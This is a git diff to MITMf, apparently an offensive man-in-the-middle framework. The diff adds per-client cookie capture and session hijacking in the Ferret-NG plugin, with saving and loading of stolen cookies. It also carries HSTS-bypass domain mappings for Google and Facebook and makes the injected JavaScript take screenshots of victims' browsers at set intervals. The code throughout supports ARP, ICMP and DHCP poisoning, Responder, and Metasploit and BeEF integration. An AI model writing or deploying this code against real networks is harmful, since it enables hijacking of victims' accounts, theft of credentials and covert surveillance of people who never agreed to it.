diff --git a/config/mitmf.conf b/config/mitmf.conf index ce7e7ec..c6a4269 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -103,6 +103,27 @@ [[Regex2]] "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" +[Ferret-NG] + # + # Here you can specify the client to hijack sessions from + # + + Client = '192.168.20.126' + +[SSLstrip+] + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # + + #for google and gmail + accounts.google.com = account.google.com + mail.google.com = gmail.google.com + accounts.google.se = cuentas.google.se + + #for facebook + www.facebook.com = social.facebook.com + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. @@ -317,20 +338,6 @@ Plugin = Flash PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 -[SSLstrip+] - - # - #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com - # - - #for google and gmail - accounts.google.com = account.google.com - mail.google.com = gmail.google.com - accounts.google.se = cuentas.google.se - - #for facebook - www.facebook.com = social.facebook.com - [FilePwn] # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index e1473a2..a65d8cd 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -41,6 +41,7 @@ import logging from configobj import ConfigObj from core.configwatcher import ConfigWatcher +from core.utils import shutdown from dnslib import * from IPy import IP @@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index ac6a80b..c9eeb36 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -71,9 +71,14 @@ class ClientRequest(Request): del headers['cache-control'] if 'host' in headers: - if headers['host'] in self.urlMonitor.cookies: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) - headers['cookie'] = self.urlMonitor.cookies[headers['host']] + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + pass return headers diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index d1381aa..85386f9 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -32,6 +32,7 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] cookies = dict() + hijack_client = '' _instance = None def __init__(self): diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fea115f..fe50ad7 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -2875,4 +2875,4 @@ function grab() { }); } -grab() \ No newline at end of file +setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/protocols/arp/ARPWatch.py b/core/protocols/arp/ARPWatch.py index 28f2473..0c45ef6 100644 --- a/core/protocols/arp/ARPWatch.py +++ b/core/protocols/arp/ARPWatch.py @@ -4,6 +4,7 @@ import sys import threading from scapy.all import * +from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') @@ -21,9 +22,9 @@ class ARPWatch: try: self.gatewaymac = getmacbyip(self.gatewayip) if self.gatewaymac is None: - sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address") + shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address") except Exception, e: - sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) + shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 122e3fd..4b8858c 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -1,6 +1,7 @@ import logging import threading from time import sleep +from core.utils import shutdown from scapy.all import * mitmf_logger = logging.getLogger('mitmf') @@ -42,7 +43,7 @@ class ARPpoisoner(): def start(self): if self.gatewaymac is None: - sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address") + shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address") mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 2081804..d413926 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -4,6 +4,7 @@ import threading from socket import error as socketerror from impacket import version, smbserver, LOG from core.configwatcher import ConfigWatcher +from core.utils import shutdown LOG.setLevel(logging.INFO) LOG.propagate = False @@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher): self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) except socketerror as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port 445: port already in use") def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/utils.py b/core/utils.py index 38845f0..9aa8898 100644 --- a/core/utils.py +++ b/core/utils.py @@ -27,9 +27,15 @@ import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') +def shutdown(message=None): + for plugin in ProxyPlugins.getInstance().plist: + plugin.finish() + sys.exit(message) + class SystemConfig: @staticmethod @@ -44,11 +50,11 @@ class SystemConfig: try: ip_address = get_if_addr(interface) if (ip_address == "0.0.0.0") or (ip_address is None): - exit("[Utils] Interface {} does not have an assigned IP address".format(interface)) + shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address except Exception, e: - exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod def getMAC(interface): @@ -56,7 +62,7 @@ class SystemConfig: mac_address = get_if_hwaddr(interface) return mac_address except Exception, e: - exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) class IpTables: diff --git a/mitmf.py b/mitmf.py index 104ab20..6e21431 100755 --- a/mitmf.py +++ b/mitmf.py @@ -28,7 +28,7 @@ from twisted.web import http from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins -from core.utils import Banners, SystemConfig +from core.utils import Banners, SystemConfig, shutdown from plugins import * Banners().printBanner() @@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler) #All our options should be loaded now, initialize the plugins print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) -load = [] - for p in plugins: #load only the plugins that have been called at the command line @@ -132,32 +130,30 @@ for p in plugins: print "|_ {} v{}".format(p.name, p.version) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) p.initialize(args) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) - load.append(p) + ProxyPlugins.getInstance().addPlugin(p) #Plugins are ready to go, let's rock & roll from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) - CookieCleaner.getInstance().setEnabled(args.killsessions) -ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) -for p in load: +for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() @@ -189,6 +185,4 @@ SMBserver().start() reactor.run() print "\n" -#run each plugins finish() on exit -for p in load: - p.finish() +shutdown() \ No newline at end of file diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 2cb5fa8..0f4bad9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -24,7 +24,7 @@ import json from time import sleep from core.beefapi import BeefAPI -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.Inject import Inject @@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin): self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not self.beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") + shutdown("[-] Error logging in to BeEF!") def startThread(self, options): self.autorun() diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0d356a8..0eb7408 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -20,12 +20,11 @@ import string import random -import sys import logging from time import sleep from core.msfrpc import Msfrpc -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin): version = self.msf.call('core.version')['version'] self.tree_info.append("Connected to Metasploit v{}".format(version)) except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") def startThread(self, options): self.snipe() diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 612dcbf..42c426a 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -19,12 +19,15 @@ # import logging +import ast +import sys from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor +from core.utils import shutdown from core.ferretng.FerretProxy import FerretProxy from core.ferretng.URLMonitor import URLMonitor @@ -41,17 +44,44 @@ class FerretNG(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.ferret_port = 10010 or options.ferret_port + self.cookie_file = None + + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = ast.literal_eval(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) self.tree_info.append("Listening on port {}".format(self.ferret_port)) + def onConfigChange(self): + mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] client = request.client.getClientIP() - if host not in URLMonitor.getInstance().cookies: - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} + + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] + + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) + entry['host'] = host + entry['cookie'] = cookie + return + + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -60,10 +90,16 @@ class FerretNG(Plugin): def pluginOptions(self, options): options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') def finish(self): + if not URLMonitor.getInstance().cookies: + return + + if self.cookie_file == URLMonitor.getInstance().cookies: + return + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: - cookie_file.write(URLMonitor.getInstance().cookies) - cookie_file.close() \ No newline at end of file + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54ccad6..64f977a 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -69,6 +69,7 @@ from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin from core.msfrpc import Msfrpc +from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp from configobj import ConfigObj @@ -140,7 +141,7 @@ class FilePwn(Plugin): t.setDaemon(True) t.start() except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") def setupMSF(self, msf): diff --git a/plugins/Responder.py b/plugins/Responder.py index e49bcfe..9ea9fec 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -18,11 +18,9 @@ # USA # -import sys - from plugins.plugin import Plugin from twisted.internet import reactor -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner @@ -48,7 +46,7 @@ class Responder(Plugin): config = self.config['Responder'] smbChal = self.config['MITMf']['SMB']['Challenge'] except Exception as e: - sys.exit('[-] Error parsing config for Responder: ' + str(e)) + shutdown('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) MDNSPoisoner().start(options, self.ourip) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 23cb23e..5e32555 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -20,6 +20,8 @@ import logging import base64 +import urllib +import re from datetime import datetime from plugins.Inject import Inject @@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin): optname = 'screen' desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' ver = '0.1' - has_opts = False + has_opts = True def initialize(self, options): + self.interval = options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() def clientRequest(self, request): if 'saveshot' in request.uri: request.printPostData = False - img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - with open(img_file, 'wb') as img: - img.write(base64.b64decode(request.postData[30:] + '==')) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) + except Exception as e: + mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) def get_payload(self): - canvas = open("./core/javascript/screenshot.js", "rb").read() - return '' \ No newline at end of file + canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + return '' + + def pluginOptions(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 086128c..4727fe5 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -18,8 +18,7 @@ # USA # -from sys import exit -from core.utils import SystemConfig, IpTables +from core.utils import SystemConfig, IpTables, shutdown from core.protocols.arp.ARPpoisoner import ARPpoisoner from core.protocols.arp.ARPWatch import ARPWatch from core.dnschef.DNSchef import DNSChef @@ -55,7 +54,7 @@ class Spoof(Plugin): if options.arp: if not options.gateway: - exit("[-] --arp argument requires --gateway") + shutdown("[-] --arp argument requires --gateway") if options.targets is None: #if were poisoning whole subnet, start ARP-Watch @@ -75,10 +74,10 @@ class Spoof(Plugin): elif options.icmp: if not options.gateway: - exit("[-] --icmp argument requires --gateway") + shutdown("[-] --icmp argument requires --gateway") if not options.targets: - exit("[-] --icmp argument requires --targets") + shutdown("[-] --icmp argument requires --targets") icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) icmp.debug = debug @@ -88,7 +87,7 @@ class Spoof(Plugin): elif options.dhcp: if options.targets: - exit("[-] --targets argument invalid when DCHP spoofing") + shutdown("[-] --targets argument invalid when DCHP spoofing") dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) dhcp.shellshock = options.shellshock @@ -104,7 +103,7 @@ class Spoof(Plugin): DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: - exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") SystemConfig.setIpForwarding(1)